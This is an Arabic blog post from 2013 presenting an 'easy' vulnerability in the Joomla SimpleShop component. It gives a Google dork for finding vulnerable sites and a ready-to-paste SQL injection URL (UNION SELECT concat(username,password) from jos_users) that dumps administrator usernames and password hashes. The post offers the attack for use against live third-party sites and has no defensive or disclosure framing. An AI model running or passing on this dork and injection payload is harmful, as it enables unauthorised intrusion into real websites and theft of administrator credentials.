السبت، 6 يوليو، 2013

ثغرة shop سهلة جدا

دورك البحث في جوجل :



inurl:"option=com_simpleshop"

نعود للصفحة الرئيسية ونلصق هذا الكود خلف الموقع مباشرة




index.php?option=com_simpleshop&Itemid=xx&task=viewprod&id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password)+from+jos_users

سيظهر لكم الادمن والباسورد مشفر بصيغة (md5($pass).$slat)

0 التعليقات:

إرسال تعليق

لا تنسى ان تشارك samir soltani بتعليقك
او نشر الموظوع جزاك الله خيرا